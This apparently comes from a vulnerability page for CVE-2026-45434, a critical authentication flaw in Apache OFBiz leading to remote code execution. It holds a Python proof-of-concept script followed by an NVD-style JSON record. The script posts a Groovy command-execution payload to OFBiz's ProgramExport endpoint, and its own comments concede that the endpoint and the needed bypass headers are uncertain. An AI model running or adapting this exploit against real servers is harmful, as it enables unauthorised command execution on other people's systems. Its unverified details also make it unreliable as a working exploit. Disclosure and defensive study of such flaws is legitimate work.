CVE-2026-45434

#!/usr/bin/env python3 import requests # Target URL (Example) target_url = "http://target-ip:8080/webtools/control/ProgramExport" # The vulnerability lies in the password change logic allowing auth bypass. # This PoC demonstrates sending a malicious payload to execute a command. # Note: The specific endpoint might vary based on the actual vulnerable logic. payload = { "groovyProgram": "def cmd = \"whoami\"; def proc = cmd.execute(); proc.waitFor(); println(proc.text);" } try: print("[+] Sending exploit payload to {}...".format(target_url)) # In a real scenario, the request might need specific headers or cookies derived from the logic flaw. response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response:\n{}".format(response.text)) else: print("[-] Exploit failed, status code: {}".format(response.status_code)) except Exception as e: print("[-] An error occurred: {}".format(str(e)))

{"cve": {"id": "CVE-2026-45434", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:24.620", "lastModified": "2026-05-20T17:16:24.717", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authentication vulnerability in Apache OFBiz via Password-Change Logic Flaw Leading to Remote Code Execution\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/yw4owrzl0yho1yx7oqxvr6xjkmln9tq8", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/29", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}